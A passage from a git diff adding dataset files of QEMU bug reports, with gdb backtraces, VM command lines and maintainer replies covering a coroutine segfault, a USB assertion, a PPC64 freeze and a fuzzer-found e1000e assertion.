at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/qemu-timer.c:564 +#6 0x0000564cb1951f47 in aio_dispatch (ctx=ctx@entry=0x564cb487fbb0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/aio-posix.c:357 +#7 0x0000564cb19520e8 in aio_poll (ctx=0x564cb487fbb0, blocking=<optimized out>) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/aio-posix.c:479 +#8 0x0000564cb17b3c79 in iothread_run (opaque=0x564cb487f960) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/iothread.c:46 +#9 0x00007f684b0b30a4 in allocate_stack (stack=<synthetic pointer>, pdp=<synthetic pointer>, attr=0x0) at allocatestack.c:416 +#10 __pthread_create_2_1 (newthread=<error reading variable: Cannot access memory at address 0xffffffffffffff48>, attr=<error reading variable: Cannot access memory at address 0xffffffffffffff40>, + start_routine=<error reading variable: Cannot access memory at address 0xffffffffffffff58>, arg=<error reading variable: Cannot access memory at address 0xffffffffffffff50>) at pthread_create.c:539 +Backtrace stopped: Cannot access memory at address 0x8 +----------------------------------------------------------------------------------------------- + + +Here is a bit of examination of the data +----------------------------------------------------------------------------------------------- +(gdb) print *(&co->co_queue_wakeup->sqh_first) +$1 = (struct Coroutine *) 0xc54b578 +(gdb) print *(&co->co_queue_wakeup->sqh_first->co_queue_next) +Cannot access memory at address 0xc54b5a8 +----------------------------------------------------------------------------------------------- + +Again seems to be pointing at an invalid address. It's worth noting here that it the number of restarted and re-run co-routines is much smaller. + +A third stack trace + +It generates the following stack trace +--------------------------------------------------------------------- +(gdb) bt +#0 qemu_co_queue_run_restart (co=0x7f75ed30dbc0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:59 +#1 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75ed30dbc0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#2 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75f1c0f200) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#3 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75f1c0f200) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#4 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75ed304870) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#5 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75ed304870) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#6 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75e800fcd0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#7 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75e800fcd0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#8 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75e800fac0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#9 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75e800fac0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#10 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75e800f8b0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#11 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75e800f8b0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#12 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75fbf05570) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#13 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75fbf05570) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#14 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75e8009b70) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#15 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75e8009b70) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#16 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75e800b5d0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#17 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75e800b5d0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#18 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75e8008910) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#19 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75e8008910) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#20 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75e800f6a0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#21 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75e800f6a0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#22 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75fbf05100) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#23 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75fbf05100) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#24 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75fbf04ee0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#25 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75fbf04ee0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#26 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75ed301c50) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#27 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75ed301c50) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#28 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75ed315270) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#29 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75ed315270) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#30 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75ed31cf10) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#31 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75ed31cf10) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#32 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75e800a970) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#33 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75e800a970) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#34 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75e8007df0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#35 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75e8007df0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#36 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75e8005960) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#37 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75e8005960) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#38 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75e800e1b0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#39 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75e800e1b0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#40 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75e8000a00) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#41 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75e8000a00) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#42 0x0000561927482e74 in qemu_co_queue_run_restart (co=0x7f75e8007900) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:60 +#43 0x00005619274829a9 in qemu_coroutine_enter (co=0x7f75e8007900) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine.c:119 +#44 0x0000561927482fa0 in qemu_co_enter_next (queue=queue@entry=0x5619288d15e0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/util/qemu-coroutine-lock.c:106 +#45 0x0000561927421060 in timer_cb (blk=0x5619288d1590, is_write=<optimized out>) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/block/throttle-groups.c:400 +#46 0x00005619273de615 in timerlist_run_timers (timer_list=0x56192893de80) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/qemu-timer.c:528 +#47 0x00005619273de679 in timerlistgroup_run_timers (tlg=tlg@entry=0x561929b6bcf8) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/qemu-timer.c:564 +#48 0x00005619273def47 in aio_dispatch (ctx=ctx@entry=0x561929b6bbb0) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/aio-posix.c:357 +#49 0x00005619273df0e8 in aio_poll (ctx=0x561929b6bbb0, blocking=<optimized out>) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/aio-posix.c:479 +#50 0x0000561927240c79 in iothread_run (opaque=0x561929b6b960) at /build/pb-qemu-pssKUp/pb-qemu-2.7.0/iothread.c:46 +#51 0x00007f77b32160a4 in start_thread (arg=0x7f77997ff700) at pthread_create.c:403 +#52 0x00007f77b2f4b62d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111 +--------------------------------------------------------------------- + +It's also crashing in list traversal. Looking at the contained data we see: + +--------------------------------------------------------------------- +(gdb) print *(&co->co_queue_wakeup->sqh_first) +$1 = (struct Coroutine *) 0x1 +(gdb) print *(&co->co_queue_wakeup->sqh_first->co_queue_next) +Cannot access memory at address 0x31 +--------------------------------------------------------------------- + +So again. Segfault is caused by apparently invalid addresses. And this time it occurs after so many invocations of qemu_co_queue_run_restart() + +The VMs were running with the following arguments +--------------------------------------------------------------------- +-m 1024,slots=255,maxmem=256G -M pc-i440fx-2.7 -enable-kvm -nodefconfig -nodefaults -rtc base=utc -netdev tap,ifname=n020133f0895e,id=hostnet6,vhost=on,vhostforce=on,vnet_hdr=off,script=no,downscript=no -device virtio-net-pci,netdev=hostnet6,id=net6,mac=02:01:33:f0:89:5e,bus=pci.0,addr=0x6 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -usb -device usb-tablet,id=input0 -vnc 0.0.0.0:94 -vga qxl -cpu Haswell,+vmx -smp 6,sockets=32,cores=1,maxcpus=64,threads=2 -drive file=/dev/md10,if=none,id=drive-virtio-disk5,format=raw,snapshot=off,aio=native,cache=none -device virtio-blk-pci,bus=pci.0,addr=0x5,drive=drive-virtio-disk5,num-queues=3,id=virtio-disk5,bootindex=1 -S +--------------------------------------------------------------------- + + +Could you please retry with the latest stable version (either 2.8.0 or 2.7.1) ... maybe the problem is already fixed there. + +Unfortunately it'd not be possible to use another version at the moment. Is it possible that someone takes a look at the stack traces? + +Fixed by commit 528f449f590829b53ea01ed91817a695b540421d + diff --git a/results/classifier/deepseek-1/output/issues./1800786 b/results/classifier/deepseek-1/output/issues./1800786 new file mode 100644 index 00000000..a7d9c5f9 --- /dev/null +++ b/results/classifier/deepseek-1/output/issues./1800786 @@ -0,0 +1,68 @@ + +USB assertion `s->csw.sig == cpu_to_le32(0x53425355)' failed + +Qemu crashed after starting and stopping VM for many times, and the final log shows below. + +qemu-system-x86_64: hw/usb/dev-storage.c:236: usb_msd_send_status: Assertion `s->csw.sig == cpu_to_le32(0x53425355)' failed. +2018-10-05 15:33:11.261+0000: shutting down + +I got the back trace in coredump file: + +-----------------------back trace---------------------------------------- +#0 0x00007fc890e6cff9 in __GI_raise (sig=sig@entry=6) + at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 +#1 0x00007fc890e700f8 in __GI_abort () at abort.c:89 +#2 0x00007fc890e66216 in __assert_fail_base ( + fmt=0x7fc890f9dfc0 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", + assertion=assertion@entry=0x7fc8957cd460 "s->csw.sig == cpu_to_le32(0x53425355)", file=file@entry=0x7fc8957cd2d0 "hw/usb/dev-storage.c", + line=line@entry=236, + function=function@entry=0x7fc8957cd5e0 <__PRETTY_FUNCTION__.29765> "usb_msd_send_status") at assert.c:92 +#3 0x00007fc890e662c2 in __GI___assert_fail ( + assertion=assertion@entry=0x7fc8957cd460 "s->csw.sig == cpu_to_le32(0x53425355)", file=file@entry=0x7fc8957cd2d0 "hw/usb/dev-storage.c", + line=line@entry=236, + function=function@entry=0x7fc8957cd5e0 <__PRETTY_FUNCTION__.29765> "usb_msd_send_status") at assert.c:101 +#4 0x00007fc8955dee12 in usb_msd_send_status (s=0x7fc8961588f0, + p=<optimized out>) at hw/usb/dev-storage.c:236 +#5 0x00007fc8955df092 in usb_msd_handle_data (dev=0x7fc8961588f0, + p=0x7fc896105260) at hw/usb/dev-storage.c:507 +#6 0x00007fc8955d5940 in usb_handle_packet (dev=<optimized out>, + p=p@entry=0x7fc896105260) at hw/usb/core.c:407 +#7 0x00007fc8955ea8a8 in uhci_handle_td (s=s@entry=0x7fc896133080, +---Type <return> to continue, or q <return> to quit--- + q=0x7fc896197c90, q@entry=0x0, qh_addr=qh_addr@entry=253943810, + td=td@entry=0x7ffcc646c0e0, td_addr=<optimized out>, + int_mask=int_mask@entry=0x7ffcc646c0cc) at hw/usb/hcd-uhci.c:911 +#8 0x00007fc8955eada9 in uhci_process_frame (s=s@entry=0x7fc896133080) + at hw/usb/hcd-uhci.c:1091 +#9 0x00007fc8955eaff5 in uhci_frame_timer (opaque=0x7fc896133080) + at hw/usb/hcd-uhci.c:1190 +#10 0x00007fc895636c69 in timerlist_run_timers (timer_list=0x7fc896093af0) + at qemu-timer.c:491 +#11 0x00007fc895636f01 in qemu_clock_run_timers (type=<optimized out>) + at qemu-timer.c:502 +#12 qemu_clock_run_all_timers () at qemu-timer.c:608 +#13 0x00007fc8955f9b0c in main_loop_wait (nonblocking=<optimized out>) + at main-loop.c:507 +#14 0x00007fc8954bc750 in main_loop () at vl.c:2021 +#15 main (argc=<optimized out>, argv=<optimized out>, envp=<optimized out>) + at vl.c:4447 +------------------------------------------------------------------------------- + +QEMU release version: 1.7.2 + +QEMU command: + +qemu-system-x86_64 -enable-kvm -name guest=guest,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-42-guest/master-key.aes -machine pc-i440fx-xenial,accel=kvm,usb=off,dump-guest-core=off -cpu IvyBridge-IBRS,ss=on,vmx=on,pcid=on,hypervisor=on,arat=on,tsc_adjust=on,ssbd=on,xsaveopt=on -m 1024 -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -uuid f4fdccb5-8c59-441f-9a78-83d23fbc34f6 -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/domain-42-guest/monitor.sock,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc,driftfix=slew -global kvm-pit.lost_tick_policy=delay -no-hpet -no-shutdown -global PIIX4_PM.disable_s3=1 -global PIIX4_PM.disable_s4=1 -boot menu=off,strict=on -kernel /nfsroot/rootfs/root/bzImage -initrd /nfsroot/rootfs/root/wrlinux-image-initramfs-x86-64-kvm-guest.cpio.gz -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 -device lsi,id=scsi0,bus=pci.0,addr=0x7 -device ahci,id=sata0,bus=pci.0,addr=0x6 -device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x5 -drive file=/nfsroot/rootfs.ovp6/wrlinux-image-ovp-kvm-intel-x86-64-20181015084008.rootfs.ext3,format=raw,if=none,id=drive-usb-disk0 -device usb-storage,bus=usb.0,port=1,drive=drive-usb-disk0,id=usb-disk0,bootindex=1,removable=off -netdev tap,fd=26,id=hostnet0 -device e1000,netdev=hostnet0,id=net0,mac=52:54:00:93:6b:0c,bus=pci.0,addr=0x3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -chardev spicevmc,id=charchannel0,name=vdagent -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=com.redhat.spice.0 -spice port=5900,addr=127.0.0.1,disable-ticketing,image-compression=off,seamless-migration=on -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,vram64_size_mb=0,vgamem_mb=16,max_outputs=1,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x8 -msg timestamp=on + +Hi, + 1.7.2 is a really old version of qemu; why are you using that? + Does it happen with a newer version? + + When you say 'Qemu crashed after starting and stopping VM for many times' do you mean starting a VM and shutting it down completely, or do you mean some type of pause/resume? + + When it crashes, what was on the display - was it still at the BIOS or inside the guest? Which guest OS ? + + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/issues./1867786 b/results/classifier/deepseek-1/output/issues./1867786 new file mode 100644 index 00000000..09fc27ed --- /dev/null +++ b/results/classifier/deepseek-1/output/issues./1867786 @@ -0,0 +1,136 @@ + +Qemu PPC64 freezes with multi-core CPU + +I installed Debian 10 on a Qemu PPC64 VM running with the following flags: + +qemu-system-ppc64 \ + -nographic -nodefaults -monitor pty -serial stdio \ + -M pseries -cpu POWER9 -smp cores=4,threads=1 -m 4G \ + -drive file=debian-ppc64el-qemu.qcow2,format=qcow2,if=virtio \ + -netdev user,id=network01,$ports -device rtl8139,netdev=network01 \ + + +Within a couple minutes on any operation (could be a Go application or simply changing the hostname with hostnamectl, the VM freezes and prints this on the console: + +``` +root@debian:~# [ 950.428255] rcu: INFO: rcu_sched self-detected stall on CPU +[ 950.428453] rcu: 3-....: (5318 ticks this GP) idle=8e2/1/0x4000000000000004 softirq=5957/5960 fqs=2544 +[ 976.244481] watchdog: BUG: soft lockup - CPU#3 stuck for 23s! [zsh:462] + +Message from syslogd@debian at Mar 17 11:35:24 ... + kernel:[ 976.244481] watchdog: BUG: soft lockup - CPU#3 stuck for 23s! [zsh:462] +[ 980.110018] rcu: INFO: rcu_sched detected expedited stalls on CPUs/tasks: { 3-... } 5276 jiffies s: 93 root: 0x8/. +[ 980.111177] rcu: blocking rcu_node structures: +[ 1013.442268] rcu: INFO: rcu_sched self-detected stall on CPU +[ 1013.442365] rcu: 3-....: (21071 ticks this GP) idle=8e2/1/0x4000000000000004 softirq=5957/5960 fqs=9342 +``` + +If I change to 1 core on the command line, I haven't seen these freezes. + +Is this with KVM or with TCG? +What is your hardware configuration? + +It's soft emulation, running Qemu 4.2.50 (from master branch) on MacOS Mojave. + +Do you have the problem with 4.2.0? +Can you identify the commit introducing the problem? + +I just reverted to 4.2.0 and it works fine. No freezes for the past hour. + +❯ qemu-system-ppc64 --version +QEMU emulator version 4.2.0 +Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers + +Couldn't bisect to find the bad commit. + +Carlos + +Thank you for the test. I'm going to try to reproduce the problem and bisect. + +I'm not able to reproduce (kernel 4.19.0-8-powerpc64le, qemu id d649689a8ecb) + +What is the kernel version in the guest? +What is the QEMU commit id you used to test with 4.2.50? + +Hi Laurent, I'm on a MacOS Mojave running Qemu installed by homebrew from master branch on the day I've opened the bug. + +The option to install was: `brew install --HEAD qemu -s --verbose`. + +Maybe it's a Mac related problem? + +Hi, any news about this? Can I provide any additional info since it might be a Mac issue. +Thanks + +I just built from latest master and got the kernel trace below. + +❯ qemu-system-ppc64 --version +QEMU emulator version 4.2.90 (v4.2.0-2811-g83019e81d1-dirty) +Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers + + +qemu-system-ppc64 \ + -nographic -nodefaults -monitor pty -serial stdio \ + -M pseries -cpu POWER9 -smp cores=4,threads=1 -m 4G \ + -drive file=debian-ppc64el-qemu.qcow2,format=qcow2,if=virtio \ + -netdev user,id=network01,hostfwd=tcp::$LocalSSHPort-:22 -device rtl8139,netdev=network01 \ + + +[ 376.219450] watchdog: BUG: soft lockup - CPU#3 stuck for 22s! [swapper/3:0] +[ 376.226712] Modules linked in: ctr(E) vmx_crypto(E) gf128mul(E) sunrpc(E) ip_tables(E) x_tables(E) autofs4(E) ext4(E) crc16(E) mbcache(E) jbd2(E) crc32c_generic(E) virtio_blk(E) 8139too(E) virtio_pci(E) virtio_ring(E) 8139cp(E) virtio(E) mii(E) +[ 376.235692] CPU: 3 PID: 0 Comm: swapper/3 Tainted: G E 5.5.0-rc5-powerpc64le #1 Debian 5.5~rc5-1~exp1 +[ 376.236245] NIP: c00000000000af8c LR: c000000000019664 CTR: c000000000af2c80 +[ 376.236365] REGS: c0000000fffcf920 TRAP: 0901 Tainted: G E (5.5.0-rc5-powerpc64le Debian 5.5~rc5-1~exp1) +[ 376.236376] MSR: 8000000000009033 <SF,EE,ME,IR,DR,RI,LE> CR: 44002248 XER: 00000000 +[ 376.236479] CFAR: c000000000af2ce0 IRQMASK: 0 + GPR00: c000000000af2e38 c0000000fffcfbb0 c000000001365700 0000000000000500 + GPR04: 00000000fef90000 0000002be1f69c00 0000002beaa729fa c0000000fffec880 + GPR08: 0000000400000000 00000000000080ff 0000000000000001 c0080000004c6ff0 + GPR12: 0000000000002000 c0000000fffec880 +[ 376.238452] NIP [c00000000000af8c] replay_interrupt_return+0x0/0x4 +[ 376.238488] LR [c000000000019664] arch_local_irq_restore.part.0+0x54/0x70 +[ 376.238984] Call Trace: +[ 376.240707] [c0000000fffcfbb0] [c0000000008ce910] napi_gro_receive+0x1e0/0x210 (unreliable) +[ 376.240824] [c0000000fffcfbd0] [c000000000af2e38] _raw_spin_unlock_irqrestore+0x98/0xb0 +[ 376.242114] [c0000000fffcfbf0] [c0080000004c5588] cp_rx_poll+0x580/0x610 [8139cp] +[ 376.242131] [c0000000fffcfcf0] [c0000000008cf6c8] net_rx_action+0x1f8/0x550 +[ 376.242139] [c0000000fffcfe10] [c000000000af3a8c] __do_softirq+0x16c/0x3d8 +[ 376.242172] [c0000000fffcff30] [c0000000001329e8] irq_exit+0xd8/0x120 +[ 376.242181] [c0000000fffcff60] [c000000000019fb4] __do_irq+0x84/0x1c0 +[ 376.242193] [c0000000fffcff90] [c00000000002cbec] call_do_irq+0x14/0x24 +[ 376.242201] [c0000000fd4b7980] [c00000000001a178] do_IRQ+0x88/0xf0 +[ 376.242209] [c0000000fd4b79c0] [c000000000008d98] hardware_interrupt_common+0x158/0x160 +[ 376.242243] --- interrupt: 501 at plpar_hcall_norets+0x1c/0x28 + LR = check_and_cede_processor+0x48/0x60 +[ 376.243892] [c0000000fd4b7cc0] [c0000000fd4b7cf0] 0xc0000000fd4b7cf0 (unreliable) +[ 376.243922] [c0000000fd4b7d20] [c00000000086c710] shared_cede_loop+0x50/0x160 +[ 376.243942] [c0000000fd4b7d50] [c000000000868844] cpuidle_enter_state+0xa4/0x590 +[ 376.243953] [c0000000fd4b7dd0] [c000000000868dcc] cpuidle_enter+0x4c/0x70 +[ 376.243983] [c0000000fd4b7e10] [c000000000177d4c] call_cpuidle+0x4c/0x90 +[ 376.243991] [c0000000fd4b7e30] [c000000000178358] do_idle+0x2f8/0x400 +[ 376.243998] [c0000000fd4b7ed0] [c0000000001786a8] cpu_startup_entry+0x38/0x40 +[ 376.244011] [c0000000fd4b7f00] [c00000000004e910] start_secondary+0x640/0x670 +[ 376.244020] [c0000000fd4b7f90] [c00000000000b354] start_secondary_prolog+0x10/0x14 +[ 376.244093] Instruction dump: +[ 376.244751] 7d200026 618c8000 2c030900 4182e348 2c030500 4182dcd0 2c030f00 4182f318 +[ 376.244797] 2c030a00 4182ffc8 60000000 60000000 <4e800020> 7c781b78 480003d9 480003f1 + +Could you try to change the network card, with something like "-device e1000e,netdev=network01" or "-device virtio-net-pci,netdev=network01" or "-device spapr-vlan,netdev=network01"? + +Hi Laurent, confirm that after changing the network adapter to the e1000e it worked flawlessly for hours with 4 cores on Macbook Pro. + +Thanks! + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting older bugs to "Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/issues./1879227 b/results/classifier/deepseek-1/output/issues./1879227 new file mode 100644 index 00000000..e2592d88 --- /dev/null +++ b/results/classifier/deepseek-1/output/issues./1879227 @@ -0,0 +1,70 @@ + +Assertion failure in e1000e_write_lgcy_rx_descr + +Hello, +While fuzzing, I found an input which triggers an assertion failure in +e1000e_write_lgcy_rx_descr: + +qemu-system-i386: /home/alxndr/Development/qemu/hw/net/e1000e_core.c:1283: void e1000e_write_lgcy_rx_descr(E1000ECore *, uint8_t *, struct NetRxPkt *, const E1000E_RSSInfo *, uint16_t): Assertion `!rss_info->enabled' failed. +Aborted +#3 0x00007ffff684d092 in __GI___assert_fail (assertion=0x5555583704c0 <str> "!rss_info->enabled", file=0x555558361080 <str> "/home/alxndr/Development/qemu/hw/net/e1000e_core.c", line=0x503, function=0x555558370500 <__PRETTY_FUNCTION__.e1000e_write_lgcy_rx_descr> "void e1000e_write_lgcy_rx_descr(E1000ECore *, uint8_t *, struct NetRxPkt *, const E1000E_RSSInfo *, uint16_t)") at assert.c:101 +#4 0x0000555557209937 in e1000e_write_lgcy_rx_descr (core=0x7fffee0dd4e0, desc=0x7fffffff8720 "}}}}}}\253?", pkt=0x61100004b900, rss_info=0x7fffffff8c50, length=0xcb) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:1283 +#5 0x0000555557206b0b in e1000e_write_rx_descr (core=0x7fffee0dd4e0, desc=0x7fffffff8720 "}}}}}}\253?", pkt=0x61100004b900, rss_info=0x7fffffff8c50, ps_hdr_len=0x0, written=0x7fffffff87c0) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:1360 +#6 0x00005555571f8507 in e1000e_write_packet_to_guest (core=0x7fffee0dd4e0, pkt=0x61100004b900, rxr=0x7fffffff8c30, rss_info=0x7fffffff8c50) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:1607 +#7 0x00005555571f5670 in e1000e_receive_iov (core=0x7fffee0dd4e0, iov=0x61900004e780, iovcnt=0x4) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:1709 +#8 0x00005555571f1afc in e1000e_nc_receive_iov (nc=0x614000007460, iov=0x61900004e780, iovcnt=0x4) at /home/alxndr/Development/qemu/hw/net/e1000e.c:213 +#9 0x00005555571d5977 in net_tx_pkt_sendv (pkt=0x631000028800, nc=0x614000007460, iov=0x61900004e780, iov_cnt=0x4) at /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:544 +#10 0x00005555571d50e4 in net_tx_pkt_send (pkt=0x631000028800, nc=0x614000007460) at /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:620 +#11 0x00005555571d638f in net_tx_pkt_send_loopback (pkt=0x631000028800, nc=0x614000007460) at /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:633 +#12 0x000055555722b600 in e1000e_tx_pkt_send (core=0x7fffee0dd4e0, tx=0x7fffee0fd748, queue_index=0x0) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:664 +#13 0x0000555557229ca6 in e1000e_process_tx_desc (core=0x7fffee0dd4e0, tx=0x7fffee0fd748, dp=0x7fffffff9440, queue_index=0x0) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:743 +#14 0x0000555557228ea5 in e1000e_start_xmit (core=0x7fffee0dd4e0, txr=0x7fffffff9640) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:934 +#15 0x000055555721c70f in e1000e_set_tdt (core=0x7fffee0dd4e0, index=0xe06, val=0xcb) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:2451 +#16 0x00005555571fa436 in e1000e_core_write (core=0x7fffee0dd4e0, addr=0x438, val=0xcb, size=0x4) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:3261 +#17 0x00005555571ed11c in e1000e_mmio_write (opaque=0x7fffee0da800, addr=0x438, val=0xcb, size=0x4) at /home/alxndr/Development/qemu/hw/net/e1000e.c:109 +#18 0x00005555565e78b2 in memory_region_write_accessor (mr=0x7fffee0dd110, addr=0x438, value=0x7fffffff9cb0, size=0x4, shift=0x0, mask=0xffffffff, attrs=...) at 